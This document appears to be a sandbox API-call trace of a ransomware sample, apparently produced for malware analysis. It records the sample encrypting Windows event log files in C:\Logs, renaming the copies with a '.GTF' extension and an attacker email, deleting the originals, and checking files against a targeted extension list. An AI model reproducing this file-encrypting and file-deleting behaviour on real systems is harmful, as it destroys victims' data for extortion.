	[0076.879] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0076.880] CloseHandle (hObject=0x340) returned 1
	[0076.880] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20
	[0076.880] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.880] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.880] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.880] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.880] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.880] GetLastError () returned 0x0
	[0076.880] ReadFile (in: hFile=0x340, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.883] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.885] ReadFile (in: hFile=0x340, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.885] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x136, lpOverlapped=0x0) returned 1
	[0076.885] SetEndOfFile (hFile=0x33c) returned 1
	[0076.885] CloseHandle (hObject=0x33c) returned 1
	[0076.887] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.888] SetEndOfFile (hFile=0x340) returned 1
	[0076.889] CloseHandle (hObject=0x340) returned 1
	[0076.889] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.889] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1
	[0076.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.892] lstrlenW (lpString=".doc") returned 4
	[0076.892] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.892] lstrlenW (lpString=".docx") returned 5
	[0076.892] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.892] lstrlenW (lpString=".pdf") returned 4
	[0076.892] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.892] lstrlenW (lpString=".xls") returned 4
	[0076.893] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".xlsx") returned 5
	[0076.893] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.893] lstrlenW (lpString=".ppt") returned 4
	[0076.893] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.893] lstrlenW (lpString=".zip") returned 4
	[0076.893] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".rar") returned 4
	[0076.893] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".bz2") returned 4
	[0076.893] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".7z") returned 3
	[0076.893] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.893] lstrlenW (lpString=".dbf") returned 4
	[0076.893] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.893] lstrlenW (lpString=".1cd") returned 4
	[0076.893] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.893] lstrlenW (lpString=".jpg") returned 4
	[0076.893] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.893] lstrlenW (lpString=".doc") returned 4
	[0076.893] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".docx") returned 5
	[0076.893] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.893] lstrlenW (lpString=".pdf") returned 4
	[0076.893] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".xls") returned 4
	[0076.893] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".xlsx") returned 5
	[0076.893] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.893] lstrlenW (lpString=".ppt") returned 4
	[0076.894] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.894] lstrlenW (lpString=".zip") returned 4
	[0076.894] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString=".rar") returned 4
	[0076.894] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString=".bz2") returned 4
	[0076.894] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString=".7z") returned 3
	[0076.894] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.894] lstrlenW (lpString=".dbf") returned 4
	[0076.894] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.894] lstrlenW (lpString=".1cd") returned 4
	[0076.894] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0076.894] lstrlenW (lpString=".jpg") returned 4
	[0076.894] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.894] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.894] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64
	[0076.894] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.895] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0076.895] CloseHandle (hObject=0x340) returned 1
	[0076.895] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20
	[0076.895] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.895] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.895] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.895] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.895] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.896] GetLastError () returned 0x0
	[0076.896] ReadFile (in: hFile=0x340, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.428] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.430] ReadFile (in: hFile=0x340, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.430] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x154, lpOverlapped=0x0) returned 1
	[0077.430] SetEndOfFile (hFile=0x33c) returned 1
	[0077.430] CloseHandle (hObject=0x33c) returned 1
	[0077.433] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.433] SetEndOfFile (hFile=0x340) returned 1
	[0077.434] CloseHandle (hObject=0x340) returned 1
	[0077.436] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0077.436] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1
	[0077.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.750] lstrlenW (lpString=".doc") returned 4
	[0077.750] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.750] lstrlenW (lpString=".docx") returned 5
	[0077.750] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.750] lstrlenW (lpString=".pdf") returned 4
	[0077.750] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.750] lstrlenW (lpString=".xls") returned 4
	[0077.750] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.750] lstrlenW (lpString=".xlsx") returned 5
	[0077.750] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.750] lstrlenW (lpString=".ppt") returned 4
	[0077.750] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.750] lstrlenW (lpString=".zip") returned 4
	[0077.750] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.750] lstrlenW (lpString=".rar") returned 4
	[0077.750] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.750] lstrlenW (lpString=".bz2") returned 4
	[0077.750] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.750] lstrlenW (lpString=".7z") returned 3
	[0077.750] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.751] lstrlenW (lpString=".dbf") returned 4
	[0077.751] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.751] lstrlenW (lpString=".1cd") returned 4
	[0077.751] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.751] lstrlenW (lpString=".jpg") returned 4
	[0077.751] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.751] lstrlenW (lpString=".doc") returned 4
	[0077.751] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString=".docx") returned 5
	[0077.751] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.751] lstrlenW (lpString=".pdf") returned 4
	[0077.751] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString=".xls") returned 4
	[0077.751] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString=".xlsx") returned 5
	[0077.751] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.751] lstrlenW (lpString=".ppt") returned 4
	[0077.751] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.751] lstrlenW (lpString=".zip") returned 4
	[0077.751] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString=".rar") returned 4
	[0077.751] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString=".bz2") returned 4
	[0077.751] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString=".7z") returned 3
	[0077.751] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.751] lstrlenW (lpString=".dbf") returned 4
	[0077.751] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.752] lstrlenW (lpString=".1cd") returned 4
	[0077.752] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.752] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0077.752] lstrlenW (lpString=".jpg") returned 4
	[0077.752] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.752] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0077.752] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78
	[0077.752] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0077.851] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1052672) returned 1
	[0077.851] CloseHandle (hObject=0x398) returned 1
	[0077.851] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20
	[0077.851] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.851] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0077.852] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.852] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.852] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0077.852] GetLastError () returned 0x0
	[0077.852] ReadFile (in: hFile=0x398, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.924] WriteFile (in: hFile=0x39c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.942] ReadFile (in: hFile=0x398, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0078.296] WriteFile (in: hFile=0x39c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0078.305] ReadFile (in: hFile=0x398, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.305] WriteFile (in: hFile=0x39c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x170, lpOverlapped=0x0) returned 1
	[0078.306] SetEndOfFile (hFile=0x39c) returned 1
	[0078.856] CloseHandle (hObject=0x39c) returned 1
	[0079.832] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.832] SetEndOfFile (hFile=0x398) returned 1
	[0080.348] CloseHandle (hObject=0x398) returned 1
	[0080.686] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.686] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1
	[0080.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.687] lstrlenW (lpString=".doc") returned 4
	[0080.687] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.687] lstrlenW (lpString=".docx") returned 5
	[0080.687] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.687] lstrlenW (lpString=".pdf") returned 4
	[0080.687] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.687] lstrlenW (lpString=".xls") returned 4
	[0080.687] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.687] lstrlenW (lpString=".xlsx") returned 5
	[0080.687] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.687] lstrlenW (lpString=".ppt") returned 4
	[0080.687] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.687] lstrlenW (lpString=".zip") returned 4
	[0080.687] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.687] lstrlenW (lpString=".rar") returned 4
	[0080.687] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.687] lstrlenW (lpString=".bz2") returned 4
	[0080.687] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.687] lstrlenW (lpString=".7z") returned 3
	[0080.687] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.687] lstrlenW (lpString=".dbf") returned 4
	[0080.688] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.688] lstrlenW (lpString=".1cd") returned 4
	[0080.688] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.688] lstrlenW (lpString=".jpg") returned 4
	[0080.688] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.688] lstrlenW (lpString=".doc") returned 4
	[0080.688] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString=".docx") returned 5
	[0080.688] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.688] lstrlenW (lpString=".pdf") returned 4
	[0080.688] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString=".xls") returned 4
	[0080.688] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString=".xlsx") returned 5
	[0080.688] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.688] lstrlenW (lpString=".ppt") returned 4
	[0080.688] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.688] lstrlenW (lpString=".zip") returned 4
	[0080.688] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString=".rar") returned 4
	[0080.688] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString=".bz2") returned 4
	[0080.688] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString=".7z") returned 3
	[0080.688] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.688] lstrlenW (lpString=".dbf") returned 4
	[0080.688] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.688] lstrlenW (lpString=".1cd") returned 4
	[0080.688] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0080.689] lstrlenW (lpString=".jpg") returned 4
	[0080.689] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.689] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.689] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47
